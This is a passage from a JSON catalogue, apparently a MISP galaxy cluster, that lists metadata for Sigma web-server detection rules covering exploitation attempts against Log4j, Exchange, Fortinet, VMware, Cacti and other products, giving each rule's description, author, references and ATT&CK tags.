"related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6fdfc796-06b3-46e8-af08-58f3505318af", "value": "Multiple Suspicious Resp Codes Caused by Single Client" }, { "description": "Detects potential exploitation attempts that target the Cacti Command Injection CVE-2022-46169", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/12/27", "falsepositive": [ "Web vulnerability scanners" ], "filename": "web_cve_2022_46169_cacti_exploitation_attempt.yml", "level": "high", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-35gf", "https://github.com/0xf4n9x/CVE-2022-46169", "https://github.com/rapid7/metasploit-framework/pull/17407", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2022_46169_cacti_exploitation_attempt.yml" ], "tags": [ "attack.initial_access", "attack.t1190", "cve.2022.46169" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "738cb115-881f-4df3-82cc-56ab02fc5192", "value": "Potential CVE-2022-46169 Exploitation Attempt" }, { "description": "Detects exploitation attempt against log4j RCE vulnerability reported as CVE-2021-44228 in different header fields found in web server logs (Log4Shell)", "meta": { "author": "Florian Roth", "creation_date": "2021/12/10", "falsepositive": [ "Vulnerability scanning" ], "filename": "web_cve_2021_44228_log4j_fields.yml", "level": "high", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://github.com/YfryTchsGD/Log4jAttackSurface", "https://github.com/tangxiaofeng7/apache-log4j-poc", "https://www.lunasec.io/docs/blog/log4j-zero-day/", "https://twitter.com/shutingrz/status/1469255861394866177?s=21", "https://news.ycombinator.com/item?id=29504755", "https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_44228_log4j_fields.yml" ], "tags": [ "attack.initial_access", "attack.t1190" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9be472ed-893c-4ec0-94da-312d2765f654", "value": "Log4j RCE CVE-2021-44228 in Fields" }, { "description": "Detects access to DEWMODE webshell as described in FIREEYE report", "meta": { "author": "Florian Roth", "creation_date": "2021/02/22", "falsepositive": [ "Unknown" ], "filename": "web_unc2546_dewmode_php_webshell.yml", "level": "high", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://www.fireeye.com/blog/threat-research/2021/02/accellion-fta-exploited-for-data-theft-and-extortion.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_unc2546_dewmode_php_webshell.yml" ], "tags": [ "attack.persistence", "attack.t1505.003" ] }, "uuid": "fdf96c90-42d5-4406-8a9c-14a2c9a016b5", "value": "DEWMODE Webshell Access" }, { "description": "Detects CVE-2019-11510 exploitation attempt - URI contains Guacamole", "meta": { "author": "Florian Roth", "creation_date": "2019/11/18", "falsepositive": [ "Unknown" ], "filename": "web_cve_2019_11510_pulsesecure_exploit.yml", "level": "critical", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://www.exploit-db.com/exploits/47297", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2019_11510_pulsesecure_exploit.yml" ], "tags": [ "attack.initial_access", "attack.t1190" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "2dbc10d7-a797-49a8-8776-49efa6442e60", "value": "Pulse Secure Attack CVE-2019-11510" }, { "description": "Detects possible Java payloads in web access logs", "meta": { "author": "frack113", "creation_date": "2022/06/04", "falsepositive": [ "Legitimate apps" ], "filename": "web_java_payload_in_access_logs.yml", "level": "high", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/", "https://twitter.com/httpvoid0x2f/status/1532924261035384832", "https://github.com/httpvoid/writeups/blob/62d3751945289d088ccfdf4d0ffbf61598a2cd7d/Confluence-RCE.md", "https://www.rapid7.com/blog/post/2021/09/02/active-exploitation-of-confluence-server-cve-2021-26084/", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_java_payload_in_access_logs.yml" ], "tags": [ "cve.2022.26134", "cve.2021.26084" ] }, "uuid": "583aa0a2-30b1-4d62-8bf3-ab73689efe6c", "value": "Java Payload Strings" }, { "description": "Detects successful exploitation of Exchange vulnerability as reported in CVE-2021-28480", "meta": { "author": "Florian Roth", "creation_date": "2021/05/14", "falsepositive": [ "Unknown" ], "filename": "web_cve_2021_28480_exchange_exploit.yml", "level": "critical", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://twitter.com/GossiTheDog/status/1392965209132871683?s=20", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_28480_exchange_exploit.yml" ], "tags": [ "attack.initial_access", "attack.t1190" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a2a9d722-0acb-4096-bccc-daaf91a5037b", "value": "Exchange Exploitation CVE-2021-28480" }, { "description": "Detects XSS attempts injected via GET requests in access logs", "meta": { "author": "Saw Win Naung, Nasreddine Bencherchali", "creation_date": "2021/08/15", "falsepositive": [ "JavaScripts,CSS Files and PNG files", "User searches in search boxes of the respective website", "Internal vulnerability scanners can cause some serious FPs when used, if you experience a lot of FPs due to this think of adding more filters such as \"User Agent\" strings and more response codes" ], "filename": "web_xss_in_access_logs.yml", "level": "high", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://portswigger.net/web-security/cross-site-scripting/contexts", "https://github.com/payloadbox/xss-payload-list", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_xss_in_access_logs.yml" ], "tags": "No established tags" }, "uuid": "65354b83-a2ea-4ea6-8414-3ab38be0d409", "value": "Cross Site Scripting Strings" }, { "description": "Detects the exploitation of the WebLogic server vulnerability described in CVE-2021-2109", "meta": { "author": "Bhabesh Raj", "creation_date": "2021/01/20", "falsepositive": [ "Unknown" ], "filename": "web_cve_2021_2109_weblogic_rce_exploit.yml", "level": "critical", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://mp.weixin.qq.com/s/wX9TMXl1KVWwB_k6EZOklw", "https://twitter.com/pyn3rd/status/1351696768065409026", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_2109_weblogic_rce_exploit.yml" ], "tags": [ "attack.t1190", "attack.initial_access", "cve.2021.2109" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "687f6504-7f44-4549-91fc-f07bab065821", "value": "Oracle WebLogic Exploit CVE-2021-2109" }, { "description": "Detects path traversal exploitation attempts", "meta": { "author": "Subhash Popuri (@pbssubhash), Florian Roth (generalisation)", "creation_date": "2021/09/25", "falsepositive": [ "Happens all the time on systems exposed to the Internet", "Internal vulnerability scanners" ], "filename": "web_path_traversal_exploitation_attempt.yml", "level": "medium", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://github.com/projectdiscovery/nuclei-templates", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_path_traversal_exploitation_attempt.yml" ], "tags": [ "attack.initial_access", "attack.t1190" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7745c2ea-24a5-4290-b680-04359cb84b35", "value": "Path Traversal Exploitation Attempts" }, { "description": "Detects exploitation attempts of Sitecore Experience Platform Pre-Auth RCE CVE-2021-42237 found in Report.ashx", "meta": { "author": "Florian Roth", "creation_date": "2021/11/17", "falsepositive": [ "Vulnerability Scanning" ], "filename": "web_cve_2021_42237_sitecore_report_ashx.yml", "level": "high", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1000776", "https://blog.assetnote.io/2021/11/02/sitecore-rce/", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_42237_sitecore_report_ashx.yml" ], "tags": [ "attack.initial_access", "attack.t1190" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "20c6ed1c-f7f0-4ea3-aa65-4f198e6acb0f", "value": "Sitecore Pre-Auth RCE CVE-2021-42237" }, { "description": "Detects attempts to exploit an apache spark server via CVE-2014-6287 from a weblogs perspective", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/19", "falsepositive": [ "Web vulnerability scanners" ], "filename": "web_cve_2022_33891_spark_shell_command_injection.yml", "level": "high", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://sumsec.me/2022/CVE-2022-33891%20Apache%20Spark%20shell%20command%20injection.html", "https://github.com/apache/spark/pull/36315/files", "https://github.com/W01fh4cker/cve-2022-33891/blob/fd973b56e78bca8822caa3a2e3cf1b5aff5d0950/cve_2022_33891_poc.py", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2022_33891_spark_shell_command_injection.yml" ], "tags": [ "attack.initial_access", "attack.t1190", "cve.2022.33891" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1a9a04fd-02d1-465c-abad-d733fd409f9c", "value": "Apache Spark Shell Command Injection - Weblogs" }, { "description": "Detects known suspicious (default) user-agents related to scanning/recon tools", "meta": { "author": "Nasreddine Bencherchali, Tim Shelton", "creation_date": "2022/07/19", "falsepositive": [ "Unknown" ], "filename": "web_susp_useragents.yml", "level": "medium", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://github.com/wpscanteam/wpscan/blob/196fbab5b1ce3870a43515153d4f07878a89d410/lib/wpscan/browser.rb", "https://github.com/lanmaster53/recon-ng/blob/9e907dfe09fce2997f0301d746796408e01a60b7/recon/core/base.py#L92", "https://github.com/xmendez/wfuzz/blob/1b695ee9a87d66a7d7bf6cae70d60a33fae51541/docs/user/basicusage.rst", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_susp_useragents.yml" ], "tags": [ "attack.initial_access", "attack.t1190" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "19aa4f58-94ca-45ff-bc34-92e533c0994a", "value": "Suspicious User-Agents Related To Recon Tools" }, { "description": "Detects possible exploitation of VMware Workspace ONE Access Admin Remote Code Execution vulnerability as described in CVE-2022-31659", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/12", "falsepositive": [ "Vulnerability scanners", "Legitimate access to the URI" ], "filename": "web_cve_2022_31659_vmware_rce.yml", "level": "medium", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://petrusviet.medium.com/dancing-on-the-architecture-of-vmware-workspace-one-access-eng-ad592ae1b6dd", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2022_31659_vmware_rce.yml" ], "tags": [ "attack.initial_access", "attack.t1190" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "efdb2003-a922-48aa-8f37-8b80021a9706", "value": "CVE-2022-31659 VMware Workspace ONE Access RCE" }, { "description": "Detects CVE-2018-13379 exploitation attempt against Fortinet SSL VPNs", "meta": { "author": "Bhabesh Raj", "creation_date": "2020/12/08", "falsepositive": [ "Unknown" ], "filename": "web_cve_2018_13379_fortinet_preauth_read_exploit.yml", "level": "critical", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2018_13379_fortinet_preauth_read_exploit.yml" ], "tags": [ "attack.initial_access", "attack.t1190" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a2e97350-4285-43f2-a63f-d0daff291738", "value": "Fortinet CVE-2018-13379 Exploitation" }, { "description": "Detects CVE-2021-22123 exploitation attempt against Fortinet WAFs", "meta": { "author": "Bhabesh Raj, Florian Roth", "creation_date": "2021/08/19", "falsepositive": [ "Unknown" ], "filename": "web_cve_2021_22123_fortinet_exploit.yml", "level": "critical", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://www.rapid7.com/blog/post/2021/08/17/fortinet-fortiweb-os-command-injection", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_22123_fortinet_exploit.yml" ], "tags": [ "attack.initial_access", "attack.t1190" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f425637f-891c-4191-a6c4-3bb1b70513b4", "value": "Fortinet CVE-2021-22123 Exploitation" }, { "description": "Detects URL patterns that could be found in ProxyShell exploitation attempts against Exchange servers (failed and successful)", "meta": { "author": "Florian Roth, Rich Warren", "creation_date": "2021/08/07", "falsepositive": [ "Unknown" ], "filename": "web_exchange_proxyshell.yml", "level": "high", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", "https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1", "https://youtu.be/5mqid-7zp8k?t=2231", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_exchange_proxyshell.yml" ], "tags": [ "attack.initial_access", "attack.t1190" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "23eee45e-933b-49f9-ae1b-df706d2d52ef", "value": "Exchange ProxyShell Pattern" }, { "description": "Detects URP patterns and status codes that indicate a successful ProxyShell exploitation attack against Exchange servers", "meta": { "author": "Florian Roth, Rich Warren", "creation_date": "2021/08/09", "falsepositive": [ "Unknown" ], "filename": "web_exchange_proxyshell_successful.yml", "level": "critical", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", "https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1", "https://youtu.be/5mqid-7zp8k?t=2231", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_exchange_proxyshell_successful.yml" ], "tags": [ "attack.initial_access" ] }, "uuid": "992be1eb-e5da-437e-9a54-6d13b57bb4d8", "value": "Successful Exchange ProxyShell Attack" }, { "description": "Certain strings in the uri_query field when combined with null referer and null user agent can indicate activity associated with the webshell ReGeorg.", "meta": { "author": "Cian Heasley", "creation_date": "2020/08/04", "falsepositive": [ "Web applications that use the same URL parameters as ReGeorg" ], "filename": "web_webshell_regeorg.yml", "level": "high", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://community.rsa.com/community/products/netwitness/blog/2019/02/19/web-shells-and-netwitness-part-3", "https://github.com/sensepost/reGeorg", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_webshell_regeorg.yml" ], "tags": [ "attack.persistence", "attack.t1505.003" ] }, "uuid": "2ea44a60-cfda-11ea-87d0-0242ac130003", "value": "Webshell ReGeorg Detection Via Web Logs" }, { "description": "Detects exploitation attempt against log4j RCE vulnerability reported as CVE-2021-44228 (Log4Shell)", "meta": { "author": "Florian Roth", "creation_date": "2021/12/10", "falsepositive": [ "Vulnerability scanning" ], "filename": "web_cve_2021_44228_log4j.yml", "level": "high", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://github.com/YfryTchsGD/Log4jAttackSurface", "https://github.com/tangxiaofeng7/apache-log4j-poc", "https://www.lunasec.io/docs/blog/log4j-zero-day/", "https://twitter.com/shutingrz/status/1469255861394866177?s=21", "https://news.ycombinator.com/item?id=29504755", "https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_44228_log4j.yml" ], "tags": [ "attack.initial_access", "attack.t1190" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "5ea8faa8-db8b-45be-89b0-151b84c82702", "value": "Log4j RCE CVE-2021-44228 Generic" }, { "description": "Detects the exploitation of the Confluence vulnerability described in CVE-2019-3398", "meta": { "author": "Florian Roth", "creation_date": "2020/05/26", "falsepositive": [ "Unknown" ], "filename": "web_cve_2019_3398_confluence.yml", "level": "critical", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://devcentral.f5.com/s/articles/confluence-arbitrary-file-write-via-path-traversal-cve-2019-3398-34181", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2019_3398_confluence.yml" ], "tags": [ "attack.initial_access", "attack.t1190" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e9bc39ae-978a-4e49-91ab-5bd481fc668b", "value": "Confluence Exploitation CVE-2019-3398" }, { "description": "Detects the exploitation of Microsoft Exchange ProxyToken vulnerability as described in CVE-2021-33766", "meta": { "author": "Florian Roth, Max Altgelt, Christian Burkard", "creation_date": "2021/08/30", "falsepositive": [ "Unknown" ], "filename": "web_cve_2021_33766_msexchange_proxytoken.yml", "level": "critical", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://www.zerodayinitiative.com/blog/2021/8/30/proxytoken-an-authentication-bypass-in-microsoft-exchange-server", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_33766_msexchange_proxytoken.yml" ], "tags": [ "attack.initial_access", "attack.t1190" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "56973b50-3382-4b56-bdf5-f51a3183797a", "value": "CVE-2021-33766 Exchange ProxyToken Exploitation" }, { "description": "Detects exploitation of vulnerabilities in Arcadyan routers as reported in CVE-2021-20090 and CVE-2021-20091.", "meta": { "author": "Bhabesh Raj", "creation_date": "2021/08/24", "falsepositive": [ "Unknown" ], "filename": "web_cve_2021_20090_2021_20091_arcadyan_router_exploit.yml", "level": "critical", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2", "https://blogs.juniper.net/en-us/security/freshly-disclosed-vulnerability-cve-2021-20090-exploited-in-the-wild", "https://www.tenable.com/security/research/tra-2021-13", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_20090_2021_20091_arcadyan_router_exploit.yml" ], "tags": [ "attack.initial_access", "attack.t1190", "cve.2021.20090", "cve.2021.20091" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f0500377-bc70-425d-ac8c-e956cd906871", "value": "Arcadyan Router Exploitations" }, { "description": "Detects the exploitation of the TerraMaster TOS vulnerability described in CVE-2020-28188", "meta": { "author": "Bhabesh Raj", "creation_date": "2021/01/25", "falsepositive": [ "Unknown" ], "filename": "web_cve_2020_28188_terramaster_rce_exploit.yml", "level": "high", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/", "https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_28188_terramaster_rce_exploit.yml" ], "tags": [ "attack.t1190", "attack.initial_access", "cve.2020.28188" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "15c312b9-00d0-4feb-8870-7d940a4bdc5e", "value": "TerraMaster TOS CVE-2020-28188" }, { "description": "Detects CVE-2020-10148 SolarWinds Orion API authentication bypass attempts", "meta": { "author": "Bhabesh Raj, Tim Shelton", "creation_date": "2020/12/27", "falsepositive": [ "Unknown" ], "filename": "web_cve_2020_10148_solarwinds_exploit.yml", "level": "critical", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://kb.cert.org/vuls/id/843464", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_10148_solarwinds_exploit.yml" ], "tags": [ "attack.initial_access", "attack.t1190" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "5a35116f-43bc-4901-b62d-ef131f42a9af", "value": "CVE-2020-10148 SolarWinds Orion API Auth Bypass" }, { "description": "Detects exploitation attempts using file upload vulnerability CVE-2021-22005 in the VMWare vCenter Server.", "meta": { "author": "Sittikorn S", "creation_date": "2021/09/24", "falsepositive": [ "Vulnerability Scanning" ], "filename": "web_cve_2021_22005_vmware_file_upload.yml", "level": "high", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://www.tenable.com/blog/cve-2021-22005-critical-file-upload-vulnerability-in-vmware-vcenter-server", "https://kb.vmware.com/s/article/85717", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_22005_vmware_file_upload.yml" ], "tags": [ "attack.initial_access", "attack.t1190" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b014ea07-8ea0-4859-b517-50a4e5b7ecec", "value": "VMware vCenter Server File Upload CVE-2021-22005" }, { "description": "Detects exploitation of flaw in path normalization in Apache HTTP server 2.4.49.\nAn attacker could use a path traversal attack to map URLs to files outside the expected document root.\nIf files outside of the document root are not protected by \"require all denied\" these requests can succeed.\nAdditionally this flaw could leak the source of interpreted files like CGI scripts.\nThis issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions.\n", "meta": { "author": "daffainfo, Florian Roth", "creation_date": "2021/10/05", "falsepositive": [ "Unknown" ], "filename": "web_cve_2021_41773_apache_path_traversal.yml", "level": "high", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://github.com/apache/httpd/commit/e150697086e70c552b2588f369f2d17815cb1782", "https://twitter.com/bl4sty/status/1445462677824761878", "https://twitter.com/h4x0r_dz/status/1445401960371429381", "https://twitter.com/ptswarm/status/1445376079548624899", "https://nvd.nist.gov/vuln/detail/CVE-2021-41773", "https://github.com/projectdiscovery/nuclei-templates/blob/9d2889356eebba661c8407038e430759dfd4ec31/cves/2021/CVE-2021-41773.yaml", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_41773_apache_path_traversal.yml" ], "tags": [ "attack.initial_access", "attack.t1190" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "3007fec6-e761-4319-91af-e32e20ac43f5", "value": "CVE-2021-41773 Exploitation Attempt" }, { "description": "Detects attempts to exploit a Rejetto HTTP File Server (HFS) via CVE-2014-6287", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/19", "falsepositive": [ "Unknown" ], "filename": "web_cve_2014_6287_hfs_rce.yml", "level": "high", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://vk9-sec.com/hfs-code-execution-cve-2014-6287/", "https://www.exploit-db.com/exploits/39161", "https://github.com/Twigonometry/Cybersecurity-Notes/blob/c875b0f52df7d2c7a870e75e1f0c2679d417931d/Writeups/Hack%20the%20Box/Boxes/Optimum/10%20-%20Website.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2014_6287_hfs_rce.yml" ], "tags": [ "attack.initial_access", "attack.t1190", "attack.t1505.003", "cve.2014.6287" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a133193c-2daa-4a29-8022-018695fcf0ae", "value": "Rejetto HTTP File Server RCE" }, { "description": "When IIS uses an old .Net Framework it's possible to enumerate folders with the symbol \"~\"", "meta": { "author": "frack113", "creation_date": "2021/10/06", "falsepositive": [ "Unknown" ], "filename": "web_iis_tilt_shortname_scan.yml", "level": "medium", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://github.com/lijiejie/IIS_shortname_Scanner", "https://www.exploit-db.com/exploits/19525", "https://github.com/projectdiscovery/nuclei-templates/blob/9d2889356eebba661c8407038e430759dfd4ec31/fuzzing/iis-shortname.yaml", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_iis_tilt_shortname_scan.yml" ], "tags": [ "attack.initial_access", "attack.t1190" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7cb02516-6d95-4ffc-8eee-162075e111ac", "value": "Successful IIS Shortname Fuzzing Scan" }, { "description": "Detects the exploitation of VMware Workspace ONE Access Authentication Bypass vulnerability as described in CVE-2022-31656\nVMware Workspace ONE Access, Identity Manager and vRealize Automation contain an authentication bypass vulnerability affecting local domain users.\nA malicious actor with network access to the UI may be able to obtain administrative access without the need to authenticate.\n", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/12", "falsepositive": [ "Vulnerability scanners" ], "filename": "web_cve_2022_31656_auth_bypass.yml", "level": "high", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://petrusviet.medium.com/dancing-on-the-architecture-of-vmware-workspace-one-access-eng-ad592ae1b6dd", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2022_31656_auth_bypass.yml" ], "tags": [ "attack.initial_access", "attack.t1190" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "fcf1101d-07c9-49b2-ad81-7e421ff96d80", "value": "CVE-2022-31656 VMware Workspace ONE Access Auth Bypass" }, { "description": "Detects exploitation attempts on Cisco ASA FTD systems exploiting CVE-2020-3452 with a status code of 200 (sccessful exploitation)", "meta": { "author": "Florian Roth", "creation_date": "2021/01/07", "falsepositive": [ "Unknown" ], "filename": "web_cve_2020_3452_cisco_asa_ftd.yml", "level": "high", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://twitter.com/aboul3la/status/1286012324722155525", "https://github.com/darklotuskdb/CISCO-CVE-2020-3452-Scanner-Exploiter", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_3452_cisco_asa_ftd.yml" ], "tags": [ "attack.t1190", "attack.initial_access", "cve.2020.3452" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "aba47adc-4847-4970-95c1-61dce62a8b29", "value": "Cisco ASA FTD Exploit CVE-2020-3452" }, { "description": "Detects suspicious access to URLs that was noticed in cases in which attackers exploitated the ADSelfService vulnerability CVE-2021-40539", "meta": { "author": "Tobias Michalski, Max Altgelt", "creation_date": "2021/09/20", "falsepositive": [ "Unknown" ], "filename": "web_cve_2021_40539_adselfservice.yml", "level": "high", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://us-cert.cisa.gov/ncas/alerts/aa21-259a", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_40539_adselfservice.yml" ], "tags": "No established tags" }, "uuid": "6702b13c-e421-44cc-ab33-42cc25570f11", "value": "ADSelfService Exploitation" }, { "description": "Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688", "meta": { "author": "Florian Roth", "creation_date": "2020/02/29", "falsepositive": [ "Unknown" ], "filename": "web_cve_2020_0688_msexchange.yml", "level": "critical", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://www.trustedsec.com/blog/detecting-cve-20200688-remote-code-execution-vulnerability-on-microsoft-exchange-server/", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_0688_msexchange.yml" ], "tags": [ "attack.initial_access", "attack.t1190" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } 